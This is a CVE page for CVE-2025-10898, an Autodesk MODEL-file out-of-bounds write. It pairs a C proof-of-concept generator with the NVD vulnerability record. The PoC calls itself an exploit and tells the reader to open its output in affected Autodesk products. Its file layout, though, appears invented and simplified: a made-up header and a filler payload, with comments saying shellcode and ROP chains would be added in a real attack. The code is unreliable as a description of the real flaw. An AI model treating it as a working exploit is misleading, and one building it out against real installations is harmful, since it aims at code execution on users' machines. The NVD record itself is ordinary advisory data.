CVE-2025-10898

// CVE-2025-10898 PoC - Malicious MODEL File Structure // This PoC demonstrates the structure needed to trigger OOB Write // NOTE: Actual binary payload requires specific offset calculation #include <stdio.h> #include <stdlib.h> #include <string.h> // MODEL file header structure (simplified) typedef struct { char magic[4]; // File signature int version; // File version int data_offset; // Offset to data section int data_length; // Length of data section int payload_size; // Size of malicious payload } MODEL_HEADER; // Function to generate malicious MODEL file unsigned char* generate_malicious_model(int payload_size) { unsigned char* model_file = (unsigned char*)malloc(sizeof(MODEL_HEADER) + payload_size); if (!model_file) return NULL; MODEL_HEADER* header = (MODEL_HEADER*)model_file; // Set file signature memcpy(header->magic, "MODL", 4); header->version = 1; header->data_offset = sizeof(MODEL_HEADER); header->data_length = payload_size; header->payload_size = payload_size; // Fill payload area with controlled data to trigger OOB write unsigned char* payload = model_file + sizeof(MODEL_HEADER); memset(payload, 0x41, payload_size); // Fill with 'A' for testing // In real attack, this would contain: // - Shellcode for arbitrary code execution // - ROP chain for bypassing DEP/ASLR // - Heap spray data for stability return model_file; } int main() { printf("CVE-2025-10898 PoC Generator\n"); printf("Generating malicious MODEL file...\n"); int payload_size = 1024; // Adjust based on target vulnerability unsigned char* malicious_model = generate_malicious_model(payload_size); if (malicious_model) { FILE* fp = fopen("malicious_cve_2025_10898.model", "wb"); if (fp) { fwrite(malicious_model, 1, sizeof(MODEL_HEADER) + payload_size, fp); fclose(fp); printf("Malicious MODEL file created: malicious_cve_2025_10898.model\n"); } free(malicious_model); } return 0; } // Usage: Compile and run, then open the generated .model file in affected Autodesk product // gcc -o poc poc.c && ./poc

{"cve": {"id": "CVE-2025-10898", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:01.007", "lastModified": "2025-12-19T14:40:24.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AA maliciously crafted MODEL file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:shared_components:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.5", "matchCriteriaId": "28E85F6F-29B5-466C-85AD-79FC25372EFD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:3ds_max:2026:*:*:*:*:*:*:*", "matchCriteriaId": "B938D507-D95A-4EAD-86AB-9B52A3682414"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:advance_steel:2026:*:*:*:*:*:*:*", "matchCriteriaId": "68738B5A-B918-4CA3-BD13-4040B3219AFC"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad:2026:*:*:*:*:*:*:*", "matchCriteriaId": "8890EECB-7AB5-41A3-8E77-314183BC3AB3"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_architecture:2026:*:*:*:*:*:*:*", "matchCriteriaId": "CE935915-6926-474F-B5A4-7E77EF7426DD"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_electrical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "BEC23105-1362-4BFE-9C93-F0AAA5BAF2B0"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_map_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "2DB79016-0BB6-4E8A-8AE3-5AB39A252DED"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mechanical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "4A159D88-990D-41D7-B6B0-D97B38241860"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mep:2026:*:*:*:*:*:*:*", "matchCriteriaId": "046ADE16-4275-4BEF-9A71-480E709383F7"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_plant_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "EEB9FCDC-6717-44EB-AA55-983A771E2460"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:civil_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "3383C40E-DD43-4146-9B58-C44585E40985"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:infraworks:2026:-:*:*:*:*:*:*", "matchCriteriaId": "1B01CD79-B993-47BB-B775-C10422FB956B"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:inventor:2026:*:*:*:*:*:*:*", "matchCriteriaId": "F7393B89-15A9-4709-9FF3-DA1C88770594"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit:2026:*:*:*:*:*:*:*", "matchCriteriaId": "58A56B67-B754-4525-995A-F70CAA6B5AAB"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit_lt:2026:*:*:*:*:*:*:*", "matchCriteriaId": "DF3C0C68-F0D7-4737-8D37-D99F128DAB47"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:vault:2026:*:*:*:*:*:*:*", "matchCriteriaId": "08F81FC1-1B7C-40AF-88DB-B62F24CFA21C"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0024", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}